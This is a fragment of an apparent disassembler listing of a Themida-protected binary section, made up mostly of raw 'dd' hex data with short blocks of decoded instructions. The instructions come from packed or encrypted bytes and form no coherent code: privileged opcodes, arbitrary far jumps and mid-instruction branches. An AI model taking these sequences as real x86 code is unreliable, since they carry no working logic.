		dd 38E107D3h, 0BA0840F6h, 0C29073E9h, 0A6000CF4h, 33948B3Bh
		dd 0FAF128CBh, 0F89104h, 305B6081h, 0E051370Eh,	41FEBF7h
		dd 42C9657Bh, 50780F1Fh, 0BF2AF400h, 7402DF77h,	0B0BC8424h
		dd 16B30F3Fh, 4CD8207h,	35041F3h, 768EC004h, 0B93EAD46h
		dd 9DD3161Eh, 2C045456h, 4088F137h, 12D59887h, 0E2F2305h
		dd 6A21BD85h, 28A3F355h, 0F3DC8F34h, 7F8510C0h,	4D50BAB6h
		dd 103C1CC7h, 0B95C3DC0h, 531E1158h, 78812118h,	68B90462h
		dd 0B602741Fh, 4084EA2Fh, 94A6CF60h, 9760ACD0h,	573401DFh
		dd 343F489Fh, 0EF00BB98h, 0FC94EEE9h, 252F8209h, 0D413FB70h
		dd 48E99AC2h, 0D3342834h, 0D73FCC01h, 77185B5h,	0A8141894h
		dd 8A05039Fh, 21C03469h, 19030318h, 0F3DB8BCDh,	89F027B6h
		dd 2C00C40Bh, 0B41E4FDAh, 2F43501h, 8206EAC2h, 0ECED7CCh
		dd 0C932D946h, 8C25C71Fh, 8D7F3B0Dh, 188F07C5h,	0F91F8288h
		dd 14464181h, 0C3E396EAh, 0FB025B80h, 51387BF0h, 825C8001h
		dd 77462EF3h, 0F7D2F872h, 252D3400h, 57545D01h,	2A4DE3BFh
		dd 30EA56D4h, 0D122925Ch, 0F43D81E4h, 951F1591h, 632341Bh
		dd 0BE562100h, 0C724726h, 0F919EA4Ah, 0F60E8288h, 7D57305Ah
		dd 0A250EE81h, 0ECF1D417h, 607438C0h, 21CE0C0Ah, 27C6F89h
		dd 8A3C4FCh, 4D819600h,	0DFF8620Ah, 0C74C71EAh,	733CB784h
		dd 6814F0B2h, 685905Fh,	3E6D695Dh, 6882FE22h, 1C0F0A1Bh
		dd 678EB98Ch, 0EAE3158Ah, 200165F6h, 52A0C881h,	0EBC8FE89h
		dd 1D8C005Ah, 0E38A5325h, 555C382h, 88060898h, 0C15D46C0h
		dd 5204EBh, 0C058E28Ah,	4C432F37h, 3E8823Ah, 0EA44956Eh
		dd 1B59E5D9h, 69FD48Bh,	0D909CC9Dh, 21E5EC8h, 0A95E5FF4h
		dd 0E3C212F0h, 0F8533008h, 0ED845B38h, 3D623290h, 0A4FA6C2h
		dd 5359001Fh, 294063BBh, 7385D65h, 351AFB00h, 44EA2E4Ah
		dd 310E597Dh, 60C15AF0h, 51D8F704h, 3CA778B5h, 0DD0607E5h
		dd 2C6D40EAh, 9E886028h, 6DC356F2h, 42E48A54h, 20A85EAh
		dd 14DC60FCh, 1D888E03h, 0C1B81000h, 0CD419369h, 0E04C8A18h
		dd 11D05A74h, 3635581h,	5B8BEA27h, 1B580A3Bh, 830C79F1h
		dd 0F5244375h, 601E307Eh, 0D88850A5h, 0F836CBE4h, 881008D2h
		dd 5425EA96h, 0AE3DF1Ch, 5391565Eh, 69588190h, 0EC7F8051h
		dd 0EA194860h, 0C42D4E57h, 0A694940h, 0C4B1D411h, 23EEA0Ch
		dd 893CC3FBh, 995903Bh,	1BD83424h, 0D050632h, 5EF845Dh
		dd 3500D75h, 0D807142Ah, 8A563CF9h, 40C682E6h, 0B6BA520Ah
		dd 8759CD60h, 0E924072Ch, 17FFE1BCh, 7334635Eh,	48B401Fh
		dd 0E20767A4h, 167DC281h, 0FAEA83C0h, 7F147F87h, 421C625Ch
		dd 0D709F817h, 2D022086h, 0D96107F8h, 5AD58818h, 638BECCCh
		dd 285F320Ch, 68D22433h, 9B14C99Ch, 77FF1280h, 59669D1Ch
		dd 1FC6D37Bh, 4AD69Ah, 0C15BD821h, 0C83108E8h, 9854523Fh
		dd 813C7B4Bh, 365F03EDh, 0F5010C8Ah, 880C5C2h, 74FF555Eh
		dd 5D04240Ch, 285C788Fh, 0FE6EC481h, 1959FE34h,	12570168h
		dd 54268289h, 8FEC8158h, 8C47A14h, 0D19209A8h, 22C8460Ah
		dd 51588318h, 7C12A3B9h, 0FFE9191Eh, 99311070h,	8B0633DCh
		dd 7A59B6D7h, 57986CE9h, 0DE0F684Ch, 0AA69F240h, 39822Bh
		dd 0AFA2FBB9h, 7DF901A3h, 51112A5Fh, 12EA82DCh,	154116Bh
		dd 0D7E9C440h, 5510C529h, 5DD72368h, 0D69F59BBh, 0E915C7CBh
		dd 2AC80AFh, 4840D1EAh,	67074066h, 1EB80A36h, 6937348Bh
		dd 329B608h, 3C8BFA01h,	6E404A14h, 5A94D8A9h, 16E83C75h
		dd 0C78D0BBh, 0FFB6BC35h, 7C123160h, 4E0C638Bh,	3ECF8385h
		dd 3265C8Ch, 5DAA0051h,	0DF3127FCh, 431C8B29h, 0E9F98984h
		dd 30ED286h, 5A205709h,	0C1A46F81h, 4065A4DCh, 210F84CEh
		dd 0C100047Dh, 0FBDEF09Ch, 0AB88A9E9h, 505804A6h, 507E7F68h
		dd 0C48134D4h, 3258360Ch, 13A6D412h, 0C9D988B1h, 0B7FD41CEh
		dd 0AF59A228h, 76C7C20h, 315C4C05h, 7813A212h, 84B1BECBh
		dd 0F657818Ch, 51274D5h, 2B6BC0DAh, 0E95612A8h,	29154EFDh
		dd 95440DD7h, 41FE0D51h, 0BA5A55C8h, 0E6BD066Ch, 2A5E381Ch
		dd 35402BEh, 77B45066h
		dd 58B0E588h
; ---------------------------------------------------------------------------


loc_518B7C:				; CODE XREF: Themida_:00518BF7j
		xor	dl, ch
		xchg	eax, edx
		setalc
		test	al, 65h
		push	ebx
		push	edx
		or	[esi+24ADE935h], esi
		pusha
		pop	ebp
		sub	byte ptr [edi+3B9C4BA7h], 64h
		add	[eax-41h], ecx
		inc	eax
		or	[eax-66h], bl
		das
		add	[edi+ecx-41h], ebx
		enter	0FFFF8957h, 0E7h
		popa
		lock add [esi-17h], cl
		mov	[eax+eax*8+0Ah], al
		xor	eax, 6E61EA7h
		hlt
; ---------------------------------------------------------------------------
		dw 48BAh
; ---------------------------------------------------------------------------
		jmp	short locret_518C27
; ---------------------------------------------------------------------------
		dw 6626h
		db 41h,	85h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esi, edx
		jge	short loc_518C0F
		outsd
		jnp	short loc_518BE4
		xor	[ebx+edi*2+94F2430h], eax
		jg	short near ptr loc_518BCF+2
		dec	ecx
		push	ecx


loc_518BCF:				; CODE XREF: Themida_:00518BCBj
		test	dword ptr [eax-167EA65Ch], 0F863860Ch
		db	67h
		std
		js	short loc_518C55
		sub	edi, [esi]
		sub	ecx, eax
		xchg	eax, ebp
		cmp	al, 0Dh


loc_518BE4:				; CODE XREF: Themida_:00518BC2j
		cwde
		db	2Eh
		pop	dx
		pop	eax
		or	[ebx], edx
		add	[ebx], ecx
		push	eax
		pop	es
		cmp	al, 4Eh
		adc	al, dl
		popa
		sub	edx, ecx
		nop
		jp	short loc_518B7C
		or	[edi+58h], bh
		paddq	mm7, qword ptr [ebp-2E1C2265h]
		jmp	near ptr 90FC2302h
; ---------------------------------------------------------------------------
		dd 0A3027389h
		db 0FDh, 0D9h, 0D5h
; ---------------------------------------------------------------------------


loc_518C0F:				; CODE XREF: Themida_:00518BBFj
		or	[esi-55h], edx
		inc	byte ptr [ebx]
		mov	ebp, 7C8662FAh
		push	edx
		icebp
		cmp	bh, ch
		cmpsb
		xor	dh, bh
		wait
		add	esp, [eax+10003C6h]

locret_518C27:				; CODE XREF: Themida_:00518BB4j
		retn
; ---------------------------------------------------------------------------
		dd 55D3F758h, 0E26DE8E9h, 0D110565Dh, 3F6E0B5h,	7EDC0DDh
		dd 63E7CD80h, 0F5B008E5h, 0EB482897h, 50DB1033h, 2D24C045h
		dd 0F2896F66h
		db 0E6h
; ---------------------------------------------------------------------------


loc_518C55:				; CODE XREF: Themida_:00518BDBj
		daa
		dec	eax
		push	ds
		jbe	short loc_518CB6
		db	26h
		jns	short near ptr loc_518CBA+2
		adc	[eax-62h], eax
		insd
		aas
		sbb	[bx+49CAh], al
		push	es
		shr	edx, 0A0h
		leave
		test	byte ptr [ebx-36h], 26h
		xor	ebp, eax
		mov	ebx, edx
		cmp	al, 0A7h
		retf	68D0h
; ---------------------------------------------------------------------------
		db 28h,	81h, 35h
		dd 620CD591h, 0E18633C3h, 4ED0631h, 0F3A4755h, 0CC8B60Fh
		dd 8AA85051h, 96CDA611h, 1B216655h, 68004A10h, 929B5F20h
		dd 0E9750118h, 36E569ECh, 715F1300h, 8102115Ah
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_518CB6:				; CODE XREF: Themida_:00518C58j
		push	esp
		adc	eax, [ecx-7Ch]


loc_518CBA:				; CODE XREF: Themida_:00518C5Aj
		mov	esi, 843F8205h
		add	eax, 0D8B326ADh
		add	[eax+58h], ch
		sub	[edi+27h], eax
		pop	edi
		sub	eax, 4D12045Dh
		dec	ebx
		add	eax, edi
		les	eax, [esi+40h]
		out	dx, al
		mov	ebp, 2DC4E6Ah
		sbb	[ecx+10D6EF5h],	al
		out	dx, al
		call	far ptr	26E9h:18C2929Ch
		hlt
; ---------------------------------------------------------------------------
		db 8Ah
		db 5Ch
; ---------------------------------------------------------------------------


loc_518CED:				; CODE XREF: Themida_:00518D02j
		db	64h
		cmp	al, 88h
		add	dh, [ebp-707A1CC9h]
		add	[esi+ebp+69h], ah
		jns	short loc_518D38
		xor	edx, 53050393h
		jnz	short loc_518CED
		fimul	word ptr [edi+2FBA6803h]
; ---------------------------------------------------------------------------
		dw 0DB6Ch
		dd 0DD01D176h, 525A8650h, 26397AB2h, 80107DFEh,	8F082444h
		dd 7B7D7C73h, 1A721F30h, 9001C580h, 66030719h, 4920AE68h
		dd 0E8B0C2A0h
; ---------------------------------------------------------------------------


loc_518D38:				; CODE XREF: Themida_:00518CFAj
		jmp	near ptr 7E9CE6DFh
; ---------------------------------------------------------------------------
		db 44h,	0B1h, 0D5h
		dd 0E0E5306Eh, 212AD069h, 0F690EAh, 0D44DEDE2h,	0C283420Fh
		dd 2E6017Ah, 0FF6FF80Bh, 422D0F89h, 61335DEBh, 6B4319Ch
		dd 81FC4A0Dh, 0A56018Ch, 25293919h, 0BE3F40F0h,	3023772h
		dd 89E9DAF7h, 90C8C63Eh, 213B4084h, 776CCA7Fh, 2E57380Fh
		dd 16E0306Ah, 246C04D6h, 824A1D15h, 472698D2h, 9552EF6Fh
		dd 108048A2h, 81122378h, 875923EEh, 0F45C7226h,	0B69EE98Eh
		dd 2DD06540h, 62476884h, 414F6A7Ah, 0ED90160Bh,	0DE2D490Dh
		dd 0CA56DD00h, 4976B845h, 0D51E04E4h, 52F21750h, 0F9B659C1h
		dd 6827675Ah, 0E9D03744h, 8C18B244h, 2CA392BAh,	473B5456h
		dd 6B267828h, 0CA373516h, 900C76D2h, 94373908h,	0EC9D4D06h
		dd 16CD0502h, 94E4695Fh, 0F1A9258h, 1D313411h, 0CD933245h
		dd 683DA148h, 3355E905h, 0B4C7C040h, 3C779F39h,	0EF28F701h
		dd 9E91508h, 0BB0CE4DAh, 6E70E86Bh, 5700F3ABh, 0E2D1C209h
		dd 0B11F5968h, 38AFA469h, 1D6D6381h, 8307E0C1h,	15680606h
		dd 0C029605Dh, 125B8BBh, 0CB815F00h, 5D31486Fh,	4BDB24F7h
		dd 66EF04D2h, 461E8132h, 0BD38A60Eh, 0BF408D0Ch, 0BDA7FEFh
		dd 0FD01CEDEh, 14A6C682h, 0C16A340Ch, 2C78329h,	4F1C6057h
		dd 102312D4h, 0D159976Dh, 2E8F548Bh, 448331C5h,	955A0AA1h
		dd 505C0D0Ah, 73E7302Bh, 0AC07443Ch, 0C02604C1h, 91297002h
		dd 49CEC056h, 1974097Ch, 45AB61E9h, 0D393AE9Bh,	47E5D1B4h
		dd 0D1548E55h, 2558E9E0h, 0B14B5B9Eh, 5D9C8431h, 7446789h
		dd 4076AD00h, 22D4Ah, 0F75AED49h, 0E53EE9D0h, 14BC6691h
		dd 81F4904Eh, 621306EBh, 1D264BBFh, 1B0A6C2h, 93CB4EAh
		dd 7435F111h, 0C31C808Dh, 10FD2893h, 0AC3B2A17h, 21972F17h
		dd 4025693h, 65097081h,	0CA9298FCh, 64ABBF12h, 3CCEC8F9h
		dd 0F1282881h, 0F595013h, 64DD4FF9h, 348FE8B9h,	3871C137h
		dd 0C0ED13DBh, 6048C947h, 0B6890E4Dh, 0E915B8A2h, 491E1C18h
		dd 4C100278h, 68B67A7h,	8240BE50h, 33130CBDh, 0C346235Eh
		dd 0FC367028h, 155DEF24h, 4B1FA03Eh, 5B5C4853h,	0B1C2E4Ah
		dd 1459E9F0h, 810C0192h, 0E348E0E7h, 0F0CFD867h, 2EA01914h
		dd 0BAF1449Fh, 0E8757D0Fh, 0D8E44641h, 4BC60ED3h, 78353278h
		dd 0CD5CD218h, 2D1C5EF0h, 1857012Ch, 4D119A00h,	0F757B4h
		dd 0BEF181D1h, 19B3991h, 0CFE9C812h, 6997485h, 0DD60AEECh
		dd 11D18017h, 0F10162F2h, 8A1C1F0h, 200EAC5Eh, 0C84AA269h
		dd 0CB92E8DCh, 6F874C59h, 0A0E1F7C4h, 0B4266811h, 0BA60954Ah
		dd 98E91674h, 1AE2793Bh, 86291847h, 68134958h, 17314DAAh
		dd 0B4FC09B1h, 63D19484h, 25547F46h, 2F40B41Bh,	0B8E3F253h
		dd 1056822Bh, 9942E906h, 30296E8h, 0EA80C0D8h, 2E41E3D7h
		dd 0FFC6332Eh, 3FF6CE4Eh, 8AF9DECAh, 0C875E05h,	0F8F798CCh
		dd 0FD232EE9h, 87B7816Dh, 0CC04EFC0h, 0FE1D03E7h, 0BE5C80C7h
		dd 1EF8F7DCh, 5A6E5BFAh, 0CED1280Fh, 0C45AAEC1h, 1E8159C8h
		dd 8C058E06h, 1EBFDAEh,	3C8FC280h, 197C4BF2h, 89B3166Bh
		dd 20817582h, 95220D39h, 0D7F7184Bh, 0E9558AC1h, 0A2FE9337h
		dd 8105E390h, 653C09EBh, 710037BCh, 6DAC0FC4h, 509066B8h
		dd 0A05B0881h, 5CBB9F1Eh, 9B89A2A5h, 0CC95A8CEh, 9017C489h
		dd 0C4FABDA2h, 0C4E7891Ah, 0EFC93232h, 0B23C8710h, 0AE5CD4ECh
		dd 2D664078h, 945ED60Eh, 0A170A049h, 9150414Eh,	64C50800h
		dd 58C22900h, 1737F281h, 45567A17h, 71552555h, 65ACA3h
		dd 0B904C683h, 0BE0F0928h, 62168D02h, 71F09372h, 0F750FC0Ch
		dd 134ACDFh, 1AF038Eh, 28875FF8h, 0E8C18198h, 71D2310Bh
		dd 0E1614E30h, 0D832BB53h, 5AC1269Ah, 529B591Fh, 0CD48740h
		dd 426340ABh, 5B183C03h, 3A5FFB01h, 1E0C872Ah, 81120934h
		dd 7E6EE305h, 0DE141977h, 115601C8h, 0B3E9D901h, 0D150F23Ch
		dd 3946B00Dh, 4E4C5851h, 0A94B5988h, 41892ECh, 0EE825482h
		dd 0A5C112C6h, 58D8265Bh, 8DDBC4D4h, 5A2600A2h,	1312CE24h
		dd 8A0C0161h, 3476E2E9h, 2117986Bh, 0A60C2D5Ch,	90E5598Bh
		dd 0BB96B133h, 5E812C40h, 0C119ACh, 7F3E581h, 45902FD3h
		dd 73FBC200h, 0E9EB29DCh, 37455C15h, 0CDA109DEh, 655121A2h
		dd 0EEBEA82Ch, 2AE02540h, 0F1F3DB9Bh, 3C59CDA9h, 0BA52A096h
		dd 2C360145h, 8BD0014Dh, 0E9114C14h, 6721E824h,	0D036F281h
		dd 2CBE0351h, 89E1EA9Ah, 9C288D11h, 0D7EE8A40h,	4A186363h
		dd 527233BEh, 0B206C626h, 6A3196B3h, 963A0D06h,	0DDCC91FEh
		dd 3CBF35CCh, 8A3D8A0Ch, 7A1AF2A8h, 0BADF3647h,	459A4950h
		dd 0FF195975h, 4142BA73h, 5B43E91Bh, 0C579A269h, 41B4A8BAh
		dd 60973573h, 0BDB13B8Bh, 21685283h, 9C1DDA76h,	3C0522ABh
		dd 0BC45C500h, 0E889F02Bh, 0C6012C5Dh, 8719A0D5h, 0A0E98493h
		dd 85FE8983h, 17D96830h, 0D9867D51h, 841583C4h,	84D12542h
		dd 0B04C4DE3h, 3D51200Dh, 5243E41h, 5CA2FE5Ch, 0AE80FD46h
		dd 0C123114Ch, 4D02ED1Dh, 12F8E514h, 0AB37359Dh, 444C782h
		dd 0D328CC8Fh, 29EE51FBh, 106E2621h, 5F27DB39h,	0E8E56222h
		dd 5257110Ch, 0B8495F54h, 24BA1DDh, 6AF824h, 0B342EDBFh
		dd 0E7C10F0Ch, 90470702h, 3E790083h, 0B8501237h, 0B11E333Ah
		dd 67412541h, 0BAE91B3Dh, 0CE17F739h, 3F410159h, 0F8286640h
		dd 0F2BA251Dh, 0C92DF802h, 60045B73h, 125AC567h, 140F746Eh
		dd 4A1686EBh, 0EA55876Dh, 121C3408h, 89979014h,	2AFEE9E6h
		dd 0C1F3F1ACh, 0F5ED802Bh, 0ECB62CA5h, 985DF889h, 0FEFB068Bh
		dd 0A6094594h, 8BF878A0h, 8B24CB3Ch, 0A7ECE9F5h, 20766827h
		dd 0CC54550Ah, 0B12694F8h, 33CB000Dh, 0F78171CAh, 28160C71h
		dd 0B5104F0Eh, 783F00B2h, 0FE898AF8h, 0C6E9165Fh, 3039898Dh
		dd 0F015906h, 99BD7023h, 0F0804415h, 83616EEDh,	0DD482947h
		dd 365E33AFh, 0BEBA4858h, 3BA9518Fh, 0EAD16C23h, 840FC2B0h
		dd 0A27E2925h, 93E827Dh, 0A8E2DB8Eh, 0ADE193C7h, 554534DEh
		dd 3A06E3A0h, 0BD0EF407h, 41A1A5F0h, 2538C529h,	53C0BECEh
		dd 73E966AAh, 2D04BCBAh, 40A95D03h, 3F84DB94h, 0F329B1D0h
		dd 0C7DE7231h, 0F3505B09h, 1E4B74FBh, 0E14CB85Eh, 880C1349h
		dd 31811F21h, 0E7334A20h, 0D0961989h, 323C30ADh, 71327C63h
		dd 0F03419D2h, 48267355h, 972A4473h, 1468769Bh,	0C10C1A4Eh
		dd 14509474h, 2603BF4Ah, 436C0150h, 0A5E30FE9h,	3F3B221Ah
		dd 7A2C4E4h, 738A7B50h,	0A6A5CF01h, 5C7FCC4Ch, 0FE46825h
		dd 252FE4A3h, 2D7E1253h, 2352068h, 9C03E988h, 0EB8007F0h
		dd 0D08F85B2h, 3B90B875h, 2D374CFEh, 7DF20B8Ch,	0A9DBA953h
		dd 0E9553811h, 0C59699h, 16060559h, 0B5920E01h,	0D5E90780h
		dd 24C10F49h, 6B007BC6h, 5508191Dh, 0EEBE0056h,	0BD5FA952h
		dd 165FCD02h, 0E55ECD09h, 28BA1C6Fh, 0CFEA0169h, 0E93CDD63h
		dd 2D023C84h, 0A8C82805h, 0E950C3AEh, 833140C1h, 0B70D16DEh
		dd 0A128103Dh, 8004EDA7h, 80D5F658h, 778691C5h,	8D46FE5h
		dd 0A42AA3C4h, 62E1A289h, 36207DD1h, 44681367h,	0CC9AC977h
		dd 47A805E0h, 4BB18ACCh, 0C372FBCh, 7B82F6Fh, 50650974h
		dd 7ABB012Dh, 20932134h, 315C1A9Bh, 9903D082h, 5C0271D4h
		dd 0F9DF8196h, 6A77E91Dh, 62A00C2Ch, 4E55B137h,	746A4991h
		dd 0D30FF6C3h, 366DA88h, 27D2B753h, 0E513E2BEh,	889DC09Bh
		dd 0C4A8B47h, 0E90910DFh, 0E56403B3h, 0BC2A5C60h, 0B6EFB963h
		dd 0CD310D19h, 21695C4Ch
		dd 0C173AA98h, 2571074Ch, 3EFF19E5h, 8B60A354h,	5CCE6859h
		dd 0E9C4C807h, 40B4E135h, 184E37CBh, 3124617Bh,	75A8CAF7h
		dd 502B6817h, 5C8D98Ch,	0E970320Fh, 79D8E1C0h, 0A9CDD7F8h
		dd 0DD5E3020h, 872A8C67h, 0C1375A0Ch, 0E394BCE2h, 9691EC14h
		dd 0F39A0D92h, 2561601Eh, 0E7803DD6h, 2D087904h, 910613Ch
		dd 0F0BE80E0h, 0B98D2DC5h, 0BA812434h, 5266019Bh, 2C92B050h
		dd 0B101F1F0h, 0C00BF75Fh, 4019EC30h, 772BFF2Fh, 5812A828h
		dd 0C02C2E69h, 2AB468C2h, 0D404759h, 41745h, 26F38143h
		dd 0F749D329h, 23EBE0E7h, 198B201Fh, 0E92CB83h,	28C62Eh
		dd 0B8BE7FB2h, 0E95BD901h, 0CCCB8633h, 0E886054Bh, 0F240CD4Fh
		dd 3300929Bh, 7DB1B3Bh,	8EE0FC1h, 0A715B8E9h, 4F58CD03h
		dd 40D90F7Bh, 0EF398BF4h, 2521055Dh, 0FB53815Eh, 0E3E42B5Eh
		dd 29E37CEAh, 0B2C402C3h, 57593050h, 0E9513C71h, 0B76335CDh
		dd 0CA0F7209h, 0E182B40Dh, 0F539816Dh, 40047391h, 0AAE69898h
		dd 0B3005350h, 5BDC885Eh, 0F47B551h, 0F659EC08h, 6E4C020h
		dd 1C01B652h, 805AF428h, 0E1D8DBC4h, 2CCFF58h, 75D175F6h
		dd 0C1FE1CE9h, 2C208580h, 16278443h, 0B1A806D1h, 3092EA4h
		dd 595279E9h, 48551E7Fh, 0AD127D14h, 3B844212h,	1FDD6EF0h
		dd 12193A5Bh, 0D9305668h, 520F8161h, 0EAC060B2h, 0F9A4CD41h
		dd 35F1438Eh, 60B65547h, 653AAE1h, 0C105C8B8h, 96FBEFDAh
		dd 756FA602h, 99A64179h, 1B54374h, 4EDC032h, 3012F580h
		dd 8EA05758h, 0CD4CFE0Fh, 66B35E6h, 0E0E65881h,	69A70A5h
		dd 33903871h, 78253125h, 561700C7h, 555C9CCBh, 25311497h
		dd 6C00FAE9h, 5A1BB668h, 988B4C25h, 944ED9BDh, 78BB691Fh
		dd 0E9546E05h, 31F41C85h, 6821F95Ah, 0A02850ECh, 3DD3EB54h
		dd 6BBEFB55h, 5BC11FD8h, 0BFDA2958h, 0D99D939Dh, 8C782623h
		dd 74D669BCh, 51B1F217h, 949268D6h, 0E95104BBh,	22B35F75h
		dd 4012852Ch, 80CFFEDFh, 601EF30h, 2DF82832h, 0BE0015E9h
		dd 88DAB450h, 1B209FB0h, 0B55E5882h, 94997F27h,	35FCBA56h
		dd 3D03B2DDh, 0AFC9FE06h, 8716B7BEh, 35839C26h,	9710D101h
		dd 0FB1682DFh, 0BF1085ACh, 0B5CD0601h, 5FFD31CFh, 6420EBEDh
		dd 24DEEDh, 0F681DEF7h,	0C724B543h, 0AC120B26h,	0F612E585h
		dd 433DA86Dh, 0FA611D4Eh, 0C67D224Bh, 1302A3B1h, 0F2D4BDE9h
		dd 4290B288h, 1E1C2C77h, 0CE578B03h, 0EC4F5Fh, 58E230E9h
		dd 0C90ECA80h, 0BDFEEAD0h, 88AEF2C0h, 5B5FE9D5h, 1D33413Ah
		dd 2B71B633h, 0EB4B640Fh, 7AD562B4h, 0C9E5B170h, 2EB4E849h
		dd 0B25F8109h, 904FF05Ah, 88ED9157h, 56F7EE4h, 75CC7C85h
		dd 52D02588h, 0C59F78E5h, 8259EE89h, 0D40416Eh,	298A41ACh
		dd 52570044h, 4E170068h, 815A22B4h, 301D87F2h, 0CA8173D0h
		dd 60AB10CDh, 7C141886h, 0A4203E1Ch, 0CC80096Bh, 5C8366D6h
		dd 0E5BF305Ch, 5ABAF00Fh, 0A2C62924h, 5703C08h,	0CD041D68h
		dd 69E6CD0Ch, 5DC58545h, 16B601D8h, 50E759h, 9F39371Eh
		dd 0C124450Ah, 0FC084EEDh, 665B13F3h, 9AB00D1Dh, 7EBFD940h
		dd 6AAE1228h, 0D6DE0489h, 0B4FAF46Dh, 22040E01h, 8105EAC1h
		dd 0A8B290CFh, 0D68905DAh, 0F70F73E9h, 41444B41h, 0B4CC8AC1h
		dd 92D54808h, 6F2B184h,	400E97B5h, 0BB0E2CDAh, 9304D828h
		dd 17589108h, 3E0E0366h, 0AEB7C530h, 2BE9E803h,	0C3805D02h
		dd 65D98846h, 220A67Ch,	0DC7AE9FFh, 5165D45Eh, 2E99FE84h
		dd 0BF890E5Dh, 0BA96147Bh, 82EADC20h, 0F9D5E278h, 504C0879h
		dd 57AB4827h, 692609BFh, 80DA613Dh, 77740A30h, 26759EF5h
		dd 9F2A3Ch, 0C98F33E2h,	5D4CEE01h, 2B720B03h, 0B8BE00A4h
		dd 12168D6h, 1AEA053Dh,	0D42D3782h, 2303FB58h, 8FE9D8F7h
		dd 0BD58032Ch, 4F1163C8h, 6141560Ch, 94F79C26h,	9D581B27h
		dd 770828C9h, 0AB4B7AD3h, 219A1784h, 9985295Dh,	4ADAA33Fh
		dd 93C29BC7h, 887B5446h, 291615B5h, 0DC3DDC0h, 59C02E11h
		dd 1DD7101Eh, 0C8CDE2D1h, 0E60B2A2Dh, 25D07670h, 36C566D5h
		dd 620BB68h, 0E9FA2905h, 0C3E43474h, 58F14095h,	0C39D6112h
		dd 26C25509h, 7AC2D311h, 15B76F9Ch, 300BB2EDh, 5F40E30Fh
		dd 3D262A68h, 0A3DA5282h, 6BC9CB9Fh, 600B866h, 8135C611h
		dd 255CC3CEh, 0F60732EDh, 0F166543Ch, 0F4FA0014h, 5115DD61h
		dd 4BC2F001h, 0E91654CFh, 0C87984F1h, 52015DD2h, 660D6853h
		dd 5281092Fh, 942AA5EBh, 9CBD405Eh, 551464C4h, 0B4B35A53h
		dd 502DBAECh, 0D0B5F51Bh, 8710B6A0h, 5581A14h, 4FE91606h
		dd 19E15D53h, 0BEC0A36Ch, 42E73C05h, 69A8E916h,	0D152F263h
		dd 6181567Fh, 300D5DBDh, 0E65700Ah, 137C57E8h, 0DE948F9Dh
		dd 32CCF5C1h, 2B1BA8h, 0D0DA5363h, 0E80A01F9h, 8F02055Dh
		dd 0C3590E70h, 3E5C016h, 36EECBC1h, 0C59F5D04h,	0F8D33DE9h
		dd 3DC7DCADh, 0D8293041h, 0F420B08Bh, 0FD26F430h, 0F149399Ch
		dd 924E6AD8h, 90270450h, 7C810C1h, 198117Ah, 8352C312h
		dd 88308E80h, 1FC0BA08h, 0D20692F5h, 48F6EAh, 4311DDCAh
		dd 402FE970h, 0BBA0091Fh, 4F09152Dh, 0C10126FDh, 433848C9h
		dd 9CF4BB76h, 644B6462h, 86698354h, 0E238D951h,	0F0FD85C3h
		dd 72FE551Bh, 0B89774E3h, 8A51391h, 0E9042FFBh,	0F5CC7EB0h
		dd 3A503F3h, 53573862h,	16CFE001h, 68E94354h, 34877564h
		dd 800647F9h, 0C87E71C4h, 302A2890h, 36905149h,	3C473201h
		dd 0D0F7925Dh, 0CFE484CEh, 0A2C5942h, 5AA00E6Bh, 5C583E68h
		dd 0A1B5C1F1h, 31BFD7E9h, 2F22B895h, 97F57378h,	4D258238h
		dd 4256B225h, 9070902h,	0E337F86Ah, 8A5EF548h, 5AD5484Eh
		dd 0CD445F5Dh, 1023267h, 4D715EF3h, 6CD25C9Fh, 2DBAE241h
		dd 70303625h, 5FBF02CAh, 0DAF7290Eh, 7D05F77Ch,	0C18016F2h
		dd 58491CA7h, 33FCA41h,	7CE904FCh, 0EC2144DCh, 5F31102Eh
		dd 0A980355Bh, 0B8BAD887h, 182913A3h, 2578A60Ch, 5546021h
		dd 0B7E16AEh, 2D31003Ch, 0B14D98B7h, 9A01D490h,	0E90F935Eh
		dd 4334D4EDh, 0BBD0D5E0h, 5BDF290Fh, 0F487F94Dh, 1BD346F6h
		dd 0D9AAE104h, 8A27C9F9h, 0F289CD09h, 6153EA6Ah, 0D7B01A12h
		dd 2568175Ch, 0E2823720h, 4DC81665h, 0D3E4E288h, 25C58DF4h
		dd 0E0C0555Ah, 5B3E052Eh, 0C149282Ah, 0A603E22Ah, 0B1D2F728h
		dd 0AFACD3Eh, 19D589F5h, 57C961E9h, 5F220422h, 4E6DE910h
		dd 658486Ch, 145ECFA0h,	29F0510Bh, 0FBFA85D7h, 0E916ABF6h
		dd 0B8F0C0C9h, 5926658Fh, 250A392Eh, 0EB809868h, 6FB52D5Dh
		dd 492B4CE5h, 14070528h, 8FB9515Bh, 3153880Bh, 0E627DD58h
		dd 0B272EEEEh, 0D21D1432h, 8004E118h, 80738266h, 851309EEh
		dd 1825725Dh, 0EF3351D9h, 483B7F11h, 579F6716h,	0B8943033h
		dd 6C300711h, 6EC8602h,	167B822h, 0F74AF5F1h, 35A9E90Ch
		dd 0B60E2A95h, 0AB6883CCh, 0D861EA3Eh, 0FB5F541Dh, 918F975Eh
		dd 0BC48DFA4h, 58BDA2CCh, 0E6C11CAEh, 92EEDF05h, 0BB75256h
		dd 0E79682F8h, 0B4F21C40h, 41A63090h, 5B4CC731h, 1343052Fh
		dd 0D9026AD1h, 66D72DE9h, 0F0AF9CF2h, 5B4EDA31h, 0D6058600h
		dd 0F111C417h, 7009421h, 931BE56h, 294F822Ah, 0E4E9B082h
		dd 0BB04A370h, 0D3E7EFEh, 4AA80182h, 52457CD9h,	0D2811C58h
		dd 0C76A4201h, 37427E74h, 2F0B0A70h, 6288350Fh,	8E7C105h
		dd 1CFCE201h, 40F9395Ah, 0F689053Eh, 83E608D6h,	47F2B27h
		dd 0FEC8D094h, 7163F5FDh
		dd 7A2E7252h, 8AB0E8F9h, 88D25B42h, 0EB27BE1Bh,	76BAA0E4h
		dd 5C29F05Dh, 0BA7DE0D1h, 4A8BFA17h, 83C82C1Ch,	8CBE02ECh
		dd 66FCE904h, 1F04CBADh, 6517D78h, 0B136981Dh, 0F42CB295h
		dd 0DB26B771h, 0CBBFE330h, 0B9B04C6Dh, 4E877C2Dh, 2C2E15Bh
		dd 84A97C52h, 24FC4F9Fh, 0AA89558Bh, 0E910C7C6h, 0BA1D3E52h
